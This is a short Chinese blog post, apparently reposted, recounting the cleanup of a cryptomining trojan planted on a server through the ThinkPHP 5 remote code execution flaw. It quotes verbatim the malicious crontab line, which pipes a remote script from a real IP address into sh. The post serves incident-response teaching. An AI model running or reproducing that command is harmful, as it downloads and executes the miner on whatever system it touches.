|
下面由thinkphp教程栏目给大家介绍处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的方法，希望对需要的朋友有所帮助！ 
记一次挂马清除经历：处理一个利用thinkphp5远程代码执行漏洞挖矿的木马 昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用 执行命令为 : /tmp/php -s /tmp/p2.conf 基本可以确定是被挂马了 下一步确定来源 last 没有登陆记录 先干掉这几个进程，但是几分钟之后又出现了 先看看这个木马想干什么吧 netstat 看到 这个木马开启了一个端口和国外的某个ip建立了连接 但是tcpdump了一小会儿 没有发现任何数据传递 这他是想干啥？ 继续查看日志吧 在cron日志中发现了www用户 有一个crontab定时操作 基本就是这个问题了 wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1 顺着下载了几个问题，看了看 应该是个挖矿的木马程序 服务器上的www用户 是安装 lnmp 创建的，看了来源很可能就是web漏洞了。 再看/tmp下的php的权限 就是www的 查看 lnmp下几个站的日志 发现是利用 thinkphp 5最近爆出的远程代码执行漏洞 漏洞细节：https://nosec.org/home/detail/2050.html 修复一下问题解决 但是 这个站点是测试站点 端口监听的是 8083 ，难道现在黑客能开始嗅探非常规端口了？ 来源：https://www.simapple.com/425.html 相关推荐：最新的10个thinkphp视频教程
以上就是挂马清除经历：处理一个利用thinkphp5远程代码执行漏洞挖矿的木马的详细内容，更多请关注模板之家(www.mb5.com.cn)其它相关文章！ |
